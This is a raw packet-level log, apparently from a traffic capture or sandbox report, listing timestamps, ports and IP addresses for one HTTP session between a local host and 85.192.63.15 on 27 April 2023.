Apr 27, 2023 07:41:53.958333969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.958343029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.958384037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.958393097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.958442926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.959703922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.959767103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.959793091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.959813118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.959826946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.959867954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.959877968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.959917068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.959927082 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.959975004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.961397886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.961457968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.961497068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.961517096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.961520910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.961564064 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.961575031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.961622000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.968305111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.968389034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.968446016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.968456984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.968456984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.968498945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.968502045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.968549967 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.968561888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.968606949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.969825029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.969888926 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.969928026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.969933033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.969952106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.969990015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.969996929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.970037937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.970048904 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.970097065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.996395111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.996490955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.996551991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.996597052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.996654034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.996706009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.996762037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.996833086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.996833086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.996833086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.996833086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.996833086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.996862888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.996911049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.996970892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.996984005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.996984005 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.997018099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.997051954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.997101068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.999614954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.999692917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.999747992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.999766111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.999766111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.999783993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.999830961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.999852896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.999852896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.999871969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:53.999902010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:53.999943972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.001132965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.001183033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.001229048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.001257896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.001257896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.001265049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.001357079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.001358032 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.024282932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.024374962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.024410009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.024455070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.024492025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.024529934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.024631977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.025876045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.025928974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.025975943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.026015043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.026078939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.026093960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.026132107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.026185989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.026247978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.030770063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.030822992 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.030868053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.030906916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.030936956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.030942917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.031018972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.031106949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.032443047 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.032493114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.032530069 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.032593012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.032598019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.032640934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.032650948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.032689095 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.032744884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.035599947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.035666943 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.035713911 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.035761118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.035768986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.035798073 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.035835981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.035923004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.035923004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.056916952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.056986094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.057051897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.057099104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.057136059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.057177067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.057177067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.057177067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.057251930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.057251930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.061336994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.061398029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.061441898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.061481953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.061531067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.061597109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.061635017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.064398050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.064445972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.064495087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.064543009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.064580917 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.064594030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.064594030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.064662933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.065926075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.065972090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.066025019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.066070080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.066072941 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.066107035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.066154957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.066224098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.067593098 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.067718983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.067759037 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.067765951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.067806005 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.067826033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.067843914 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.067889929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.067934990 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.092549086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.092626095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.092713118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.092755079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.092789888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.092901945 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.093872070 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.093914986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.093961954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.094008923 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.094012022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.094048023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.094105959 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.094177961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.097345114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.097398043 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.097440958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.097470999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.097511053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.097553968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.097557068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.097613096 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.097651958 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.134727001 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.134865999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.134912968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.134917021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.134963989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.134973049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.134973049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.134999990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.135035038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.135041952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.135056019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.135097027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.136003971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.136037111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.136080980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.136112928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.136112928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.136116028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.136148930 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.136159897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.136173964 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.136193991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.136208057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.136230946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.136253119 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.136282921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.138200998 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.138264894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.138286114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.138314009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.138318062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.138356924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.138370037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.138421059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.141113997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.141160965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.141186953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.141207933 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.141233921 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.141247034 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.141269922 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.141298056 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.142801046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.142865896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.142889977 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.142920971 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.142920971 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.142961979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.142976046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.143013954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.145896912 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.146006107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.146023989 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.146069050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.146080017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.146104097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.146121025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.146176100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.146183014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.146213055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.146225929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.146301031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.147818089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.147871017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.147901058 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.147952080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.148039103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.148083925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.148097992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.148121119 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.148139000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.148176908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.151029110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.151077986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.151108980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.151127100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.151138067 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.151165962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.151181936 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.151220083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.156064987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.156160116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.156197071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.156244993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.156250000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.156250000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.156250000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.156285048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.156303883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.156373024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.157609940 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.157656908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.157682896 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.157692909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.157706022 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.157737017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.157748938 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.157774925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.157789946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.157830000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.159290075 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.159337044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.159363031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.159372091 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.159400940 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.159440994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.159445047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.159480095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.159496069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.159537077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.164273024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.164321899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.164355993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.164380074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.164400101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.164407015 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.164414883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.164446115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.164469957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.164504051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.168270111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.168344975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.168389082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.168425083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.168435097 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.168476105 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.168562889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.169456959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.169504881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.169553041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.169574976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.169589996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.169631004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.169713020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.174498081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.174532890 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.174578905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.174623013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.174657106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.174695969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:41:54.174729109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.174729109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:41:54.174729109 CEST	49697	80	192.168.2.3	85.192.63.15
